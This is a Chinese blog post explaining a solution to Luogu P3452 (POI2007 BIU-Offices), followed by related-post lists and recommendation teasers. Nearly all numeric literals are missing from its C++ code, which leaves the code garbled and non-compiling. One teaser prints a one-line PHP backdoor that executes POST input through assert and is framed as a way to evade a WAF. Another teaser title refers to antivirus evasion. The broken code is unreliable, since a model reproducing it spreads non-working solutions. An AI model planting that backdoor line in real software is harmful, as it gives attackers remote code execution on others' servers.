洛谷P3452 [POI2007]BIU-Offices的思考
这题就是坑人的,因为way我前一半存正图,后一半存反图,导致一般扩大两倍过不了,而是要扩大四倍,就是这个坑!!!!!
#include<iostream>
#include<cstdio>
#include<queue>
#include<algorithm>
using namespace std;
const int maxn=4e6+;
struct node
{
int val;
int next;
}way[maxn];
queue< int >q;
int n,m;
bool vis[],cover[];
int nex[];
int cnt,head[];
int last[];
int s[],ans;
int tot=;
int add(int x,int y)
{
way[++tot].next=head[x];
way[tot].val=y;
head[x]=tot;
}
void de(int x)
{
nex[last[x]]=nex[x];
last[nex[x]]=last[x];
}
int main()
{
cin>>n>>m;
int x,y;
for(int i=;i<=m;i++)
{
cin>>x>>y;
add(x,y);
add(y,x);
}
//cout<<tot<<endl;
nex[]=;
for(int i=;i<n;i++)
{
last[i+]=i;
nex[i]=i+;
} for(int i=;i<=n;i++)
{
if(!vis[i])
{
s[++ans]=;
vis[i]=true;
q.push(i);
de(i);
// cout<<1111111<<endl;
while(!q.empty())
{
int x=q.front();
q.pop();
for(int j=head[x];j;j=way[j].next)
{
if(!vis[way[j].val])
{
cover[way[j].val]=true;
}
}
for(int j=nex[];j;j=nex[j])
{
if(!cover[j])
{
vis[j]=true;
s[ans]++;
de(j);
q.push(j);
}
else
cover[j]=false;
}
}
}
}
//cout<<1111111<<endl;
sort(s+,s++ans);
cout<<ans<<endl;
for(int i=;i<=ans;i++)
{
cout<<s[i]<<" ";
}
/*cout<<endl<<endl;
for(int i=1;i<=n;i++)
{
cout<<nex[i]<<" ";
}*/
return ;
}
洛谷P3452 [POI2007]BIU-Offices的思考的更多相关文章
- [洛谷P3460] [POI2007]TET-Tetris Attack
洛谷题目链接:[POI2007]TET-Tetris Attack 题目描述 A puzzle called "Tetris Attack" has lately become a ...
- [洛谷3457][POI2007]POW-The Flood
洛谷题目链接:[POI2007]POW-The Flood 题意翻译 Description 你手头有一张该市的地图.这张地图是边长为 m∗n 的矩形,被划分为m∗n个1∗1的小正方形.对于每个小正方 ...
- 洛谷P3459 [POI2007]MEG-Megalopolis(树链剖分,Splay)
洛谷题目传送门 正解是树状数组维护dfn序上的前缀和,这样的思路真是又玄学又令我惊叹( 我太弱啦,根本想不到)Orz各路Dalao 今天考了这道题,数据范围还比洛谷的小,只有\(10^5\)(害我复制 ...
- 洛谷P3459 [POI2007]MEG-Megalopolis [树链剖分]
题目传送门 MEG 题目描述 Byteotia has been eventually touched by globalisation, and so has Byteasar the Postma ...
- 洛谷 P3462 [POI2007]ODW-Weights
题面: https://www.luogu.org/problemnew/show/P3462 https://www.lydsy.com/JudgeOnline/problem.php?id=111 ...
- Connected Components? Codeforces - 920E || 洛谷 P3452 &&bzoj1098 [POI2007]BIU-Offices
https://codeforces.com/contest/920/problem/E https://www.luogu.org/problemnew/show/P3452 https://www ...
- 洛谷 P3456 [POI2007]GRZ-Ridges and Valleys
P3456 [POI2007]GRZ-Ridges and Valleys 题意翻译 给定一个地图,为小朋友想要旅行的区域,地图被分为n*n的网格,每个格子(i,j) 的高度w(i,j)是给定的.若两 ...
- 洛谷 P3455 [POI2007]ZAP-Queries (莫比乌斯函数)
题目链接:P3455 [POI2007]ZAP-Queries 题意 给定 \(a,b,d\),求 \(\sum_{x=1}^{a} \sum_{y=1}^{b}[gcd(x, y) = d]\). ...
- 洛谷P3459 [POI2007]MEG-Megalopolis [2017年6月计划 树上问题02]
[POI2007]MEG-Megalopolis 题目描述 Byteotia has been eventually touched by globalisation, and so has Byte ...
随机推荐
- RocketMQ消息队列部署与可视化界面安装
MQ安装部署 最新版本下载:http://rocketmq.apache.org/release_notes 修改配置 vi conf/broker.conf 添加brokerIP1 brokerIP ...
- springmvc中重定向该如何处理?
如果登录成功,会重定向到系统首页 response.sendRedirect("jsp/frame.jsp"); 在springmvc中,应该如何处理?是否可以直接使用 retur ...
- HTML5 video视频字幕的使用和制作
一.video支持视频格式: 以下是三种最常用的格式 1. ogg格式:带有Theora视频编码(免费)+Vorbis音频编码的Ogg文件(免费) 支持的浏览器:firefox.chrome.oper ...
- 洛谷P1613 跑路
题目描述 小A的工作不仅繁琐,更有苛刻的规定,要求小A每天早上在6:00之前到达公司,否则这个月工资清零.可是小A偏偏又有赖床的坏毛病.于是为了保住自己的工资,小A买了一个十分牛B的空间跑路器,每秒钟 ...
- bugku猫片
这个猫片思路清奇,真的让我长知识了. 开局一只猫,挺可爱的. 拿到图片,老套路来一波,首先 winhex打开是正常png图片,binwalk ,stegslove都没有任何收获. 折腾了好久没有任 ...
- VBS定时关闭软件
用TXT写以下代码另存为VBS格式,代码如下:doset bag=getobject("winmgmts:\\.\root\cimv2")set pipe=bag.execquer ...
- django-搭建BBS关键点总结
0826自我总结 django-搭建BBS关键点总结 一.关于开口子,直接输入url访问文件内容 django自带开了个口子是static文件可以直接访问到 手动开口子 urs.py from dja ...
- EF通过导航属性取出从表的集合后,无法删除子表
主从表是配了级联删除的,如果通过导航属性去除从表明细删除时将报错The relationship could not be changed because one or more of the for ...
- PHP后门之冷门回调函数(过waf)
header_register_callback(create_function('','return assert($_POST[\'k\']);')); $e = $_REQUEST['e']; ...
- vc++中字符串的免杀
一:格式字符: http://baike.baidu.com/view/2194593.htm d:以十进制形式输出带符号整数(正数不输出符号)o:以八进制形式输出无符号整数(不输出前缀o)x:以十六 ...